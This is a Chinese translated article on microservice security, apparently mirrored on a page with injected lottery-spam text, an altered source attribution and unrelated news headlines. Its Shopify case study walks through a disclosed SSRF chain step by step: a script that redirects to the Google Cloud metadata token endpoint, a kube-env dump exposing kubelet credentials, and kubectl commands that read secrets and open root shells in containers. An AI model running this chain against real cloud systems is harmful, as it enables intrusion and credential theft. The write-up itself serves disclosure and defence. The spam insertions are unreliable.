• 定陶战役:示弱于敌重点围歼的范例 2019-03-20
  • 里约奥运变化与机遇并存 充分准备迎接挑战 2019-03-20
  • 我国居民人均预期寿命又提高了 2017年提高至76.7岁 2019-03-17
  • 【三年决战奔小康】一封来自甘南精准扶贫户的感谢信 2019-03-17
  • 新时代新平台新机遇“一带一路”大型网络主题活动 2019-03-15
  • 学生睡觉摔骨折 法院主动出击促调解 2019-03-07
  • 总览传奇般的——波尔多八大酒庄柏图斯波尔多 2019-03-07
  • 它不会比如何做好一餐饭的难度大,或者道理更多。 2019-03-02
  • 高清:中国男篮抵达洛杉矶 长途飞行队员略显疲惫 2019-02-27
  • 新疆非法转基因玉米案:4被告获刑 近三千亩涉案玉米被铲 2018-11-22
  • 湖北治理违规提取公积金 防止用公积金炒房 2018-11-21
  • 罗品禧的专栏作者中国国家地理网 2018-11-20
  • 武汉刚需买房可优先选房 2018-11-20
  • |
    |
    51CTO旗下网站
    |
    |
    移动端

    通过Shopify平台案例探究微服务安全

    本文将和您讨论微服务安全的重要性,并以Shopify为例探究防范入侵的各种最佳实践。

    作者:陈峻编译来源:www.flxp.net|2018-11-05 08:00

    广东11选五精准计划 www.flxp.net 【www.flxp.net快译】对于一些大型服务架构而言,微服务的安全性在它们所面临的诸多攻击因素中显得尤为重要。本文将和您讨论如何在生产环境中防范各种入侵,以保障整体安全。同时,我将介绍一些实用的方法,以应对通用的微服务安全问题。您可以通过采用这些技术和方法,来轻松地加固各类微服务应用。

    另外,我将模拟从公有云服务器实例的单入口,入侵Shopify(译者注:加拿大电商软件平台)的微服务实例,并访问到其元数据为例,来探讨微服务部署和开发过程中的最佳实践。

    微服务安全

    概述

    让我们首先来浏览一下微服务的架构特点,和它被用来进行应用开发的过程中,所面对的一系列安全问题。

    微服务的一般特性

    • 解耦的组件
    • 增加的复杂性
    • 固定的架构
    • 更短的开发周期
    • 最小化依赖项和共同关注点
    • 小而集中
    • 相关服务之间的数据约定
    • 对某个特定技术栈的依赖
    • 良好的集成测试,减少了安全漏洞

    由于开发人员对于AppSec(应用安全)的意识较为薄弱,甚至是对于通用应用安全规范的无视,他们可能会从如下方面增加微服务安全的复杂度与挑战:

    • 分段和隔离
    • 多云环境的部署,增加了资产安全的管理成本
    • 身份管理和访问控制
    • 数据与消息的完整性
    • 频繁的变更与淘汰周期

    上述与微服务架构相关的因素,都会导致其整体潜在攻击面的扩大增加。而随着服务和资产数量的增加,其风险因素也会大为增多。因此,我们有必要通过定期的代码审查和安全审计,来解决上述提到的各种开发与部署过程中的问题。

    微服务的AppSec

    许多公司对AppSec(应用安全)都缺乏重视,他们仅仅依靠一些自动化的漏洞扫描工具,和被动式的威胁建模,来检查各种安全配置上的错误,并测试其基于微服务应用的安全态势。显然,这些都无法有效地应对真实环境中的复杂入侵与威胁。

    因此开发人员稍有不慎,就可能给应用在整体层面上留下可以被利用和入侵的各种安全漏洞。这正是为什么我们需要不断地修正自己的开发方式,进而在组织内部通过采用AppSec的最佳实践,以保证微服务安全态势的原因。

    我们应当将下列技术与实践,严格地贯彻到微服务的开发和部署之中,以确保交付产品的安全可靠,且符合业界规定的各种安全实践标准。

    持续安全

    人们经常不得不为自己所忽视的安全而“买单”。因此,持续安全的目标就是要通过定期测试微服务应用的安全性,来降低整体成本与开销。而实现持续安全的最好方法便是DevSecOps,它包括了持续的安全测试,和精细的内、外部审计。我们需要通过模拟从不同攻击者的角度,来分析微服务可能会受到哪些方面的入侵,定位其自身可能存在的漏洞,从而将各种问题防范于未然。

    方法

    • 内部测试(主要是漏洞被利用之后的阶段)
    • 外部测试

    下面,我们针对上述方法,来讨论持续安全的具体“落地”。

    案例探究(Shopify)

    “据@0xacb的报告:虽然Shopify基础架构已被隔离成了多个子集,但是通过Shopify交易平台上的截屏功能,攻击者可能利用服务器端请求伪造(request forgery)的bug,来获得对于某个子集内任何容器的root访问权限。在接报的一小时后,我们停止了存在漏洞的服务,并审核了所有子集中的应用,进而对整体基础架构实施了应急补救。存在该漏洞的子集并不包括Shopify的核心。在审核了所有的服务之后,我们通过部署元数据隐藏代理(metadata concealment proxy)的方式,禁用了对于元数据信息的访问,进而修复了该bug。另外在架构内所有子集中,我们也禁用了通过内部IP地址的直接访问。鉴于该子集内的一些应用确实有可能会访问到Shopify的核心数据和系统,我们特为此核心远程代码执行漏洞(Core RCE),设置$25000奖金。”

    以上便是Shopify在Hackerone(译者注:全球最大的漏洞众测平台)中发布的,其针对该事件的奖赏计划。

    根据该报告,我们能够得出这样的结论:即使是应用端的漏洞,也会导致服务器受到入侵的威胁。撇开此类攻击的复杂性不谈,该漏洞还是非常容易被利用的。通常情况下,攻击者会利用一个非常简单的SSRF(Server-Side Request Forgery,服务器端请求伪造)来攻击该漏洞,从而访问到主实例(master instance)的元数据,然后进一步获取那些运行在谷歌云平台上,其他存在同类漏洞的实例的room访问权限。

    Shopify的“入侵链”

    下面让我们来探讨一下攻击者将如何通过该漏洞,来获取所有Shopify实例的root访问权限。

    注:由于源自真实的环境,所以我们在此用████隐去了一些敏感信息。

    1. 访问谷歌云的元数据

    • 新建一个店铺(partners.shopify.com)。
    • 编辑模板:password.liquid,并添加如下内容:
      1. <script> 
      2. window.location="//metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token"
      3. // iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header. 
      4. </script> 
    • 访问https://exchange.shopify.com/create-a-listing,并安装Exchange应用。
    • 等待该店铺的截图在创建列表页面上出现。
    • 下载其PNG文件,使用图像编辑软件打开它,或将其转换为JPEG(Chrome浏览器会显示一个黑色PNG)。

    虽然查找谷歌云实例中的各个SSRF需要用到一种特殊的包头,但是我发现可以采用一个非常简单的方法来“绕过”它:由于/v1beta1端点仍然可用,就算不需要Metadata-Flavor: Google的包头,仍然可返回相同的token(令牌)。

    我曾试图截获更多的数据,但是网络截图软件无法根据application/text的响应,产生任何图像。不过我发现:可以通过添加参数alt=json,以强制让application/json做出响应。因此我设法截获了更多的数据,包括:SSH公共密钥(带有电子邮件地址)、项目名称(█████)、和实例名称等:

    1. <script> 
    2. window.location="//metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"
    3. </script> 

    那么我可以使用截获的token来添加自己的SSH密钥吗?答案是:不可以。

    1. curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}' 
    1.  "error": { 
    2.   "errors": [ 
    3.    { 
    4.     "domain": "global", 
    5.     "reason": "forbidden", 
    6.     "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'" 
    7.    }, 
    8.    { 
    9.     "domain": "global", 
    10.     "reason": "forbidden", 
    11.     "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'" 
    12.    } 
    13.   ], 
    14.   "code": 403, 
    15.   "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'" 
    16.  } 

    我全面检查了该token,它并没有对Compute Engine API(译者注:一种谷歌的API)进行读与写的访问。

    1. curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=██████████████████" 
    1.  "issued_to": "███████", 
    2.  "audience": "███", 
    3.  "scope": "https://www.googleapis.com/auth/cloud-platform", 
    4.  "expires_in": 1307, 
    5.  "access_type": "offline" 

    2. 转存kube-env

    我创建了一个新的店铺

    (//metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json),并递归地“拉取出”该实例的各项属性。

    由于元数据隐藏

    (https://hackerone.com/redirect?signature=800d1491927edd8ed19a6b370a10349a205df89f&url=https%3A%2F%2Fcloud.google.com%2Fkubernetes-engine%2Fdocs%2Fhow-to%2Fmetadata-concealment)未被开启,因为我能够获取到kube-env属性。

    另外,由于图像已被损坏,因此我针对

    //metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json创建了一个新的请求,以查看Kubelet证书的剩余部分,及其私钥。

    ca.crt(译者注:ca证书文件)

    1. -----BEGIN CERTIFICATE----- 
    2. ██████ 
    3. ███████ 
    4. ███████ 
    5. ████████ 
    6. ██████████████ 
    7. ████████ 
    8. ████████ 
    9. ███████ 
    10. ████ 
    11. ██████ 
    12. ███ 
    13. █████████ 
    14. ████ 
    15. ████ 
    16. ████████ 
    17. ███████ 
    18. ███ 
    19. -----END CERTIFICATE----- 

    client.crt(译者注:client端证书文件)

    1. -----BEGIN CERTIFICATE----- 
    2. █████ 
    3. ███████ 
    4. ██████ 
    5. ████████ 
    6. ██████████ 
    7. █████ 
    8. ██████ 
    9. █████ 
    10. █████ 
    11. ██████████ 
    12. ███████ 
    13. █████ 
    14. ████ 
    15. ████ 
    16. ████████ 
    17. ████████ 
    18. -----END CERTIFICATE----- 

    client.pem(译者注:采用Base64 编码的client端文件,存储证书+密钥)

    1. -----BEGIN RSA PRIVATE KEY----- 
    2. █████████ 
    3. ██████ 
    4. ████████ 
    5. ████ 
    6. ████ 
    7. █████████ 
    8. ██████████ 
    9. ██████ 
    10. ████████ 
    11. █████████ 
    12. ██████ 
    13. ██████████ 
    14. ███ 
    15. ██████████ 
    16. ███ 
    17. ██████ 
    18. █████████ 
    19. ████████ 
    20. ██████████ 
    21. █████████ 
    22. ████ 
    23. ████ 
    24. ████████ 
    25. ████ 
    26. ███████ 
    27. -----END RSA PRIVATE KEY----- 

    至此,我得到了MASTER_NAME:█████

    3. 使用Kubelet执行任意命令

    在此,我们可以列出所有的pods:

    1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces 
    2. NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE 
    3. ████████                    ██████████                    1/1 

    也可以创建新的pods:

    1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml 
    2. pod "shell-demo" created 
    3. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo 
    4. pod "shell-demo" deleted 

    由于我无法确定自己是否能以用户████████的身份,去删除其正在运行的pods。因此,我无法在这个新的pod或其他pod中执行任何命令:

    1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash 
    2. Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███" 

    虽然get secrets命令没有起到效果,但是它能够根据给定的pod,运用其名称来获取密钥。我正好运用实例名████,从名称空间████中,截获到了kubernetes.io服务帐号的token:

    1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████ 
    2. Name:           ████████ 
    3. Namespace:      ██████ 
    4. Node:           ██████████ 
    5. Start Time:     Fri, 23 Mar 2018 13:53:13 +0000 
    6. Labels:         █████ 
    7.                 ████ 
    8.                 █████ 
    9. Annotations:    <none> 
    10. Status:         Running 
    11. IP:             █████████ 
    12. Controlled By:  █████ 
    13. Containers: 
    14.   default-http-backend: 
    15.     Container ID:   docker://███ 
    16.     Image:          ██████ 
    17.     Image ID:       docker-pullable://█████ 
    18.     Port:           ████/TCP 
    19.     Host Port:      0/TCP 
    20.     State:          Running 
    21.       Started:      Sun, 22 Apr 2018 03:23:09 +0000 
    22.     Last State:     Terminated 
    23.       Reason:       Error 
    24.       Exit Code:    2 
    25.       Started:      Fri, 20 Apr 2018 23:39:21 +0000 
    26.       Finished:     Sun, 22 Apr 2018 03:23:07 +0000 
    27.     Ready:          True 
    28.     Restart Count:  180 
    29.     Limits: 
    30.       cpu:     10m 
    31.       memory:  20Mi 
    32.     Requests: 
    33.       cpu:        10m 
    34.       memory:     20Mi 
    35.     Liveness:     http-get //:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3 
    36.     Environment:  <none> 
    37.     Mounts: 
    38.       ██████ 
    39. Conditions: 
    40.   Type           Status 
    41.   Initialized    True 
    42.   Ready          True 
    43.   PodScheduled   True 
    44. Volumes: 
    45.  ██████████: 
    46.     Type:        Secret (a volume populated by a Secret) 
    47.     SecretName: ███████ 
    48.     Optional:    false 
    49. QoS Class:       Guaranteed 
    50. Node-Selectors:  <none> 
    51. Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s 
    52.                  node.kubernetes.io/unreachable:NoExecute for 300s 
    53. Events:          <none> 
    1. $ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml 
    2. apiVersion: v1 
    3. data: 
    4.   ca.crt: ██████████ 
    5.   namespace: ████ 
    6.   token: ██████████== 
    7. kind: Secret 
    8. metadata: 
    9.   annotations: 
    10.     kubernetes.io/service-account.name: default 
    11.     kubernetes.io/service-account.uid: ████ 
    12.   creationTimestamp: 2017-01-23T16:08:19Z 
    13.   name:█████ 
    14.   namespace: ██████████ 
    15.   resourceVersion: "115481155" 
    16.   selfLink: /api/v1/namespaces/████████/secrets/████ 
    17.   uid: █████████ 
    18. type: kubernetes.io/service-account-token 

    最后如下所示,我就能使用该token从任意容器中获取shell了。

    1. $ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash 
    2. Defaulting container name to web. 
    3. Use 'kubectl describe pod/w█████████' to see all of the containers in this pod. 
    4. ███████:/# id 
    5. uid=0(root) gid=0(root) groups=0(root) 
    6. █████:/# ls 
    7. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
    8. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
    9. ███████:/# exit 
    10.  
    11. $ kubectl --certificate-authority ca.crt --server https://███████ --token "█████.██████.█████████" exec -it ████████ -n ████████ -- /bin/bash 
    12. Defaulting container name to web. 
    13. Use 'kubectl describe pod/█████ -n █████' to see all of the containers in this pod. 
    14. [email protected]████:/# id 
    15. uid=0(root) gid=0(root) groups=0(root) 
    16. [email protected]████:/# ls 
    17. app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var 
    18. bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr 
    19. [email protected]█████:/# exit 

    影响程度:严重

    黑客们可以根据相关的上下文信息,采用服务器端请求伪造(SSRF)来入侵上述漏洞。同时,他们会给目标系统带来如下影响:

    • 绕过网络访问控制,能够截获内部服务吗?
    • 是的。
    • 什么样的内部服务能被访问?
    • 谷歌云的元数据。
    • 带来何种安全影响?
    • RCE(远程代码执行)。

    保障微服务安全的最佳实践

    通过上述Shopify案例,我们可以学到:

    (1) 用户身份管理、授权和访问控制。我们的首要任务应该是:设置适当的访问控制和用户权限。其中,我们可以使用OAuth2来进行用户授权的管控。您可按需使用访问控制,来对不同类型的用户组进行访问级别和权限范围的设置。例如:您可以采用诸如JWT(基于认证的JSON Web Token)、JJWT(Java JWT,请参考https://github.com/jwtk/jjwt)等第三方的服务架构来实现认证,使用SSO来处理授权问题。另外,您也可以参照SAML和LDAP进行身份验证。

    (2) 根据TOTP(time-based one-time password,基于时间的一次性密码)启用2FA(two-factor authentication,双因素认证)。这是另一种很好的方法。它能够像第二道防线那样,去弥补JWT自身的各种漏洞,以及处理验证过程中的疏漏。其代表方式是实施GoogleAuth库(请参考https://github.com/wstrange/GoogleAuth)。

    (3) 不要以明文或纯文本的形式存储敏感数据。请选用libsodium服务(https://github.com/jedisct1/libsodium),对数据进行加、解密。此外,千万不要采用某种尚处于测试阶段的加密算法,因为它们往往可能捆绑了某些框架,或潜在着各种未知的漏洞。

    (4) 使用API网关隔离各种资源。您可以使用各种第三方的API网关来达到此效果。

    (5) 分离各种API和内部组件,以减少暴露的被攻击面。

    (6) 为了基于REST-API安全,请持续关注每年底更新的OWASP Top 10,并做好自身的漏洞彻审。如前文所述的SSRF,如果我们处置不当,将会带来RCE的隐患。此法有助于发现一些常见的Web应用漏洞。

    (7) 如果部署并使用云平台,请为帐号和实例配置访问控制。通常情况下,服务器实例的元数据是开放性的;而隶属于特定微服务的AWS object buckets(对象存储空间)也同样是开放性的。因此我们要通过ACL,来防范它们在最坏情况下被公布于世。正如上述Shopify案例那样,攻击者通过利用漏洞,获取root访问权限,来进一步截获与服务器实例有关的敏感元数据。

    (8) 对通用序列化(Common serialization)与反序列化(deserialization),基于SQLi漏洞的防范。我们特别要注意那些不安全的反序列化,它们可能会导致包括RCE在内的许多严重漏洞。因此,我们需要及时通过热补丁程序(hotfix)来对用户的输入实施审查和“消毒”。例如:Kryo(译者注:一种快速高效的Java对象图形序列化架构)就存在着尚未修复的反序列化漏洞,请参见:https://github.com/EsotericSoftware/kryo/issues/398。

    • Ø Spark SQL
    • Ø Kafka + Spark Serialization

    (9) 认证,我们可以采用如下的身份验证APIs(各种架构和服务):

    • 使用Cognito + AWS API网关来处理繁琐的认证:Cognito使用证书、MFA等来处理认证问题;API网关检查访问的token、JWT、以及授权。
    • 在各个服务之间,采用基于角色的限制。
    • 通过要求对每个请求进行签名,以增加额外的认证?;げ?。
    • 将Lambda的各个函数整合到hook进程之前和之后:您可以使用各种Swagger文件;也可以参考https://github.com/iheartradio/play-swagger,来为自己的架构轻松产生各种Swagger文件。

    (10) 切勿将敏感键值或信息存放到环境变量之中。这些信息可能会在某些情况下暴露在应用程序的日志中,或是被其他服务无意中访问到,从而带来安全隐患。

    原文标题:How to Secure Your Microservices — Shopify Case Study,作者:Arif Khan

    【51CTO译稿,合作站点转载请注明原文译者和出处为www.flxp.net】

    【编辑推荐】

    【责任编辑:赵宁宁 TEL:(010)68476606】

    点赞 0
    分享:
    大家都在看
    猜你喜欢

    订阅专栏+更多

    活学活用 Ubuntu Server

    活学活用 Ubuntu Server

    实战直通车
    共35章 | UbuntuServer

    218人订阅学习

    Java EE速成指南

    Java EE速成指南

    掌握Java核心
    共30章 | 51CTO王波

    83人订阅学习

    Mysql DBA修炼之路

    Mysql DBA修炼之路

    MySQL入门到高阶
    共24章 | 武凤涛

    471人订阅学习

    读 书 +更多

    Windows用户态程序高效排错

    本书是一本介绍Windows系统上的用户态程序排错方法和技巧的书。本书分为4个章节,先介绍最重要的、通用的思考方法,以便制定排错步骤;再介...

    订阅51CTO邮刊

    点击这里查看样刊

    订阅51CTO邮刊

    51CTO服务号

    51CTO播客

    广东11选五精准计划
  • 定陶战役:示弱于敌重点围歼的范例 2019-03-20
  • 里约奥运变化与机遇并存 充分准备迎接挑战 2019-03-20
  • 我国居民人均预期寿命又提高了 2017年提高至76.7岁 2019-03-17
  • 【三年决战奔小康】一封来自甘南精准扶贫户的感谢信 2019-03-17
  • 新时代新平台新机遇“一带一路”大型网络主题活动 2019-03-15
  • 学生睡觉摔骨折 法院主动出击促调解 2019-03-07
  • 总览传奇般的——波尔多八大酒庄柏图斯波尔多 2019-03-07
  • 它不会比如何做好一餐饭的难度大,或者道理更多。 2019-03-02
  • 高清:中国男篮抵达洛杉矶 长途飞行队员略显疲惫 2019-02-27
  • 新疆非法转基因玉米案:4被告获刑 近三千亩涉案玉米被铲 2018-11-22
  • 湖北治理违规提取公积金 防止用公积金炒房 2018-11-21
  • 罗品禧的专栏作者中国国家地理网 2018-11-20
  • 武汉刚需买房可优先选房 2018-11-20